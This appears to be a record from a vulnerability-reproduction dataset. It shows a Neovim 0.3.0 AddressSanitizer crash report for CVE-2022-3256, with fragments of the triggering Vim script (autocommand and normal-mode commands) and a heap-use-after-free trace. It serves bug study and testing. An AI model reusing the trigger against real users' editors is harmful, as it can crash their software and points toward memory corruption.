^O^O\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\n\"00\" [New File]\nline 3: no0 ^O^O\n\nline 4: au BufEnter 0 al\n\nline 5: sil0norm0\n=================================================================\n==53790==ERROR: AddressSanitizer: heap-use-after-free on address 0x6250000083a0 at pc 0x0000004c68ea bp 0x7ffef55fb8b0 sp 0x7ffef55fb078\nREAD of size 16 at 0x6250000083a0 thread T0\n    #0 0x4c68e9 in __asan_memcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c68e9)\n    #1 0x999234 in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:254:37\n    #2 0xa7679b in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6300:13\n    #3 0xa77381 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4633:5\n    #4 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #5 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #6 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #7 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #8 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #9 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #10 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #11 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #12 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #13 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #14 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #15 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #16 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #17 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #18 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #19 0x7fd3b8c82082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x6250000083a0 is located 2720 bytes inside of 8672-byte region [0x625000007900,0x625000009ae0)\nfreed by thread T0 here:\n    #0 0x4c721d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c721d)\n    #1 0x9db384 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:133:3\n    #2 0x8cb94e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:6978:7\n    #3 0x8cc44a in apply_autocmds_retval /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:6618:18\n    #4 0x79d21a in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2529:7\n    #5 0x79a423 in getfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2060:14\n    #6 0x5c9d83 in buflist_getfile /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1905:7\n    #7 0x9991cb in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:250:11\n    #8 0xa7679b in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6300:13\n    #9 0xa77381 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4633:5\n    #10 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #11 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #12 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #13 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #14 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #15 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #16 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #17 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #18 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #19 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #20 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #21 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #22 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #23 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #24 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #25 0x7fd3b8c82082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4c7612 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c7612)\n    #1 0x9db41e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:147:15\n    #2 0xea8240 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3824:19\n    #3 0xea4931 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:775:12\n    #4 0xe9be66 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:543:10\n    #5 0x7d0d2d in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1855:11\n    #6 0x7d18fe in ex_argument /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1832:3\n    #7 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #8 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #9 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #10 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #11 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #12 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #13 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #14 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #15 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #16 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #17 0x7fd3b8c82082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c68e9) in __asan_memcpy\nShadow bytes around the buggy address:\n  0x0c4a7fff9020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4a7fff9070: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff90a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff90b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff90c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==53790==ABORTING", "creation_timestamp": "2026-09-20T09:55:04.659948Z"}]}